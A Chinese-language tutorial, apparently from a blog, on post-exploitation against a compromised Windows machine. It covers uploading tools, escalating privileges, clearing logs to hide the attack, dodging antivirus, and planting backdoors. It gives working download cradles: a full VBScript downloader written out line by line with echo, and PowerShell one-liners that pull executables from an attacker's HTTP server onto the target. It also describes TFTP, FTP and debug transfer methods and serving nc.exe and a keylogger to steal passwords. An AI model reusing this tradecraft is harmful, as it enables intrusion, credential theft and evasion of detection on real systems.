先来解释一下什么是后漏洞利用阶段。就是经过一系列简单或者复杂的操作后,你已经获取了目标机器当前的管理员权限,但是你这个管理员权限不一定一直会有效,说不定目标机器的主人明天就更新补丁,就把现有的一些缓冲区溢出的漏洞封死了。
所以我们要在还能拥有权限的这段时间,给自己开一个长久有效的后门。
后漏洞利用阶段:操作步骤
一般在后漏洞利用阶段,我们主要做这些操作:
- 上传工具
- 提权
- 擦除攻击痕迹
- 安装后门:4.1 长期控制、4.2 dump密码、4.3 内网渗透
上传工具很容易理解,目标机器毕竟不是我们自己的,有我们所有需要的工具,目标机器现有的工具也不一定能满足你的需要,所以要根据实际情况,往目标机器里传入一些用于实现后续目的的工具。
提权是因为你进入目标机器,不一定是以管理员的身份进入,也许只是以普通用户的身份进入,这时候就需要想其他办法提升当前账号的权限,或者给自己弄一个管理员账号。不然后续的很多操作可能都会受到限制。
擦除攻击痕迹是比较重要的一个步骤,不管是操作系统的日志,还是应用程序的日志,都需要清理干净。我们前期的扫描、攻击动作,都会在目标系统留下相应的记录,就拿前面对SLmail的攻击作为例子,在目标机器的日志中会有对应的记录:
最后安装后门,就是我们的最终目的。
后漏洞利用阶段:难点
后漏洞利用阶段最大的挑战是防病毒软件。防病毒软件都有很丰富的特征库,只要匹配上特征库,就会被当成病毒或者漏洞进行处理。而前面的操作,很多都会被防病毒软件识别出来并修改。
为了防止被防病毒软件的特征库匹配上,我们在选用传给目标机器的软件时,尽量选用合法的远程控制软件。比如目标机器是Linux系统的话,curl和wget一般是所有Linux系统都会预装的工具,通过这两个工具很容易就能完成其他工具或者木马的下载安装,或者安装一个netcat,也就能完成很多骚操作。而Windows系统的dos界面的预装下载工具,其实是比较少接触和使用的,很多人都习惯了Windows图形化界面的工具。
后漏洞利用阶段:Windows的目标机器
像前面利用SLmail缓冲区溢出获取的远程控制,也就是shell,是一种非交互模式shell,类似nc的远程控制shell,
非交互模式shell和交互模式shell比较明显的不同有以下几点:
- 不能通过tab键进行命令补全,非交互模式shell必须手敲完整命令;
- 在非交互模式shell里面执行一个子命令,比如输入python,无法进入对应的控制台。
所以我们要尽量实现交互模式的远程控制。只是获得了非交互式模式的远程控制,对于我们后续的操作还是有一些限制的。所以接下来我们主要介绍一些将工具传给目标主机的方法。
往Windows传文件:TFTP
TFTP(Trivial File Transfer Protocol,简单文件传输协议)是一个传输文件的简单协议,绝大多数情况下基于UDP协议而实现,也不排除有部分TFTP协议是基于其它传输协议完成的。用来在客户机与服务器之间进行简单文件传输,提供不复杂、开销不大的文件传输服务。端口号为69。
TFTP没有身份校验的功能,所以没有成为主流的传输工具。现在主流的windows10是需要单独添加TFTP服务的,不能直接使用。以前的windowsXp是默认预装的,不过现在应该很少有人用xp了。而且现在的边界防火墙一般都会将tftp的数据包过滤掉,所以TFTP使用场景其实还是有些局限性的。
如何在windows10安装TFTP就不在这里展开了,网上有比较详细的教程帖子。这里主要演示将kali作为服务器,在windows环境下载服务器上的文件。
先要在作为服务器的机器上创建一个根目录,这个目录用于存放各种远程控制软件:
修改tftp文件夹的拥有者,让谁都可以访问:
找一些kali里默认存放着的一些控制工具到tftp文件夹:
在/usr/share/windows-binaries/目录下,存放了一些为windows机器准备的一些安装程序。
启动tftp的服务:
参数--daemon表示在后台运行,后面的--port就是指定端口。
可以通过检查端口来判断tftp的服务是否启动:
需要注意的一点是,如果你的检查结果显示(最右边那项)进程不是atftpd,可能是你的权限还有问题,没有将tftp文件夹和里面的所有文件的拥有者改成nobody。
当然就算检查结果显示进程是atftpd,如果tftp文件夹里的文件不是nobody,后面其他机器想要下载也会有问题。所以只要有文件放入tftp文件夹,就执行一下上面修改文件拥有者的命令:
然后就可以在Windows机器去下载kali里的文件了:
这里介绍两个kali里为Windows机器准备的三个程序。第一个是nc.exe,它的功能和netcat类似;第二个是whoami.exe,可以检查当前使用账户的权限;第三个是klogger.exe,一旦运行,就会记录所有键盘的敲击,对于盗取账户密码应该是很挺有用的。
往Windows传文件:FTP
kali默认是没有预装ftp工具的,所以需要自己选择一个ftp工具进行安装。ftp的工具有很多,比如vsftpd、pure-ftpd等等,这里使用的是vsftpd。
安装比较简单,直接一个命令就可以:
如果下载不成功的话,可以到/etc/apt/sources.list文件里修改一下源地址。
vsftpd常用的命令如下:
# 启动服务
service vsftpd start
# 查看服务
service vsftpd status
# 停止服务
service vsftpd stop
# 重新启动服务
service vsftpd restart
可以先启动一下,看看能不能顺利启动:
接下来先要创建一个用于上传下载的目录,要给创建的这个目录修改一下权限,因为实际使用中会创建、修改文件,我这边图简便就直接777了:
然后需要新建用户并设置密码:
如果不明白useradd各个参数的使用,可以通过-h看一下使用说明。这里-d表示设置新用户的home目录,-s表示新用户的登录方式。
修改配置文件vsftpd.conf:
还有将vsftpd.conf文件里的这个注释取消:
取消这个注释是为了能够写入文件。
前面配置的时候是用/root/allowed_users文件来控制登录,那就要到对应位置创建文件:
在配置了登录用户后,你可能会发现这些用户还是无法登录,那你就可以到黑名单文件看一下,你的用户是否在黑名单上面:
完成上述配置后重启一下vsftpd的服务,让配置生效:
这个时候已经可以正常使用ftp了,先在本地试一下:
换到windows环境下访问ftp:
别用浏览器直接输入命令,大概率会出现问题,到“我的电脑”地址栏输入命令,或者也可以使用ftp工具(Windows自带ftp工具)。
这里可能有些同学会想到我们最开始获取的都是非交互模式shell,无法正常完成账户名、密码的验证,也没有图形化界面可以使用。
其实可以换个思路,将所有目标机器上要执行的ftp命令,都写到目标机器的文本文件里,最后使用Windows上的ftp命令调用前面写的文本文件:
让ftp读取文本中的相关指令:
可以查看一下是否获取到文件:
往Windows传文件:vbscript
vbscript能实现的功能很多,这里就演示一个让目标主机通过http访问我预先准备好的地址,将事先准备好的软件下载到目标主机。
因为要通过http访问,所以要启动一个服务,这里使用kali中自带的apache服务:
apache服务的默认目录在:/var/www/html,将要传给目标主机的软件移动或者复制到这个目录:
生成vbscript的脚本的命令如下:
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strUrl, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray, lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
最后生成的vbscript脚本是这样的:
执行的时候需要使用cscript工具:
查看软件是否被下载:
往Windows传文件:powershell
vbscript相对以前,其实不是很被推崇了,现在比较新的Windows系统,都是推荐使用powershell,所以这里也介绍一种powershell传输软件的方式。
脚本比较简单:
$storngeDir = $pwd
$webclient = New-Object System.Net.WebClient
$url = 'http://192.168.0.102/whoami.exe'
$file = 'D:\w.exe'
$webclient.DownloadFile($url, $file)
在已经开启http服务的情况下,在Windows环境通过命令执行上面这个脚本:
如果执行的时候遇到“远程服务器返回错误: (403) 已禁止。”,那应该是源文件的权限有问题,用chmod命令去修改一下权限就可以了。
执行命令中的一些参数-ExecutionPolicy主要是为了允许本地执行powershell脚本,感兴趣的可以通过-Help看一下帮助说明。
上面的脚本其实可以省略,直接在dos界面执行一个长命令:
powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.0.102/whoami.exe', 'D:\w.exe')
也能达到同样的效果:
如果本地的执行策略比较严格,还是需要加上前面的那些参数。
还有powershell能使用的模块很多,不一定要用System.Net.WebClient,还有Invoke-WebRequest、Invoke-RestMethod、Start-BitTransfer都能达到同样的效果。具体使用哪一个模块,主要看你控制的机器具体版本,一般都是有什么用什么。
往Windows传文件:debug
Debug工具是windows用来做汇编等的一个工具。在新一点的Windows10已经没有了,早一些的WindowsXp还是有的。如果你的目标机器是Windows10的系统,且现有条件让你必须使用debug,那你必须给目标机器安装一个debug工具,这就变成先有鸡还是先有蛋的问题了。不是很推荐debug这种方式传输软件。
先将要传递的软件进行压缩:
压缩不是必须的,只是当文件太大的时候,debug就无法转换成功,debug最大只能是64Kb。
用工具exe2bat.exe转换一下:
由于这个工具是Windows环境的,所以要通过wine工具来运行。可以看到输出的文档:
在已经获取的非交互模式shell中,直接执行输出txt文档里面的内容,除最后两行外。
执行完之后,在被控制的目标机器上就会有一个123.hex文件:
然后执行倒数第二行命令debug<123.hex,Windows就会进行一个汇编的工程,最终输出一个1.DLL文件,这个文件其实就是原来的exe文件。最后就是执行最后一行命令copy 1.dll whoami.exe,将文件还原成exe的可执行文件。
本文暂时没有评论,来添加一个吧(●'◡'●)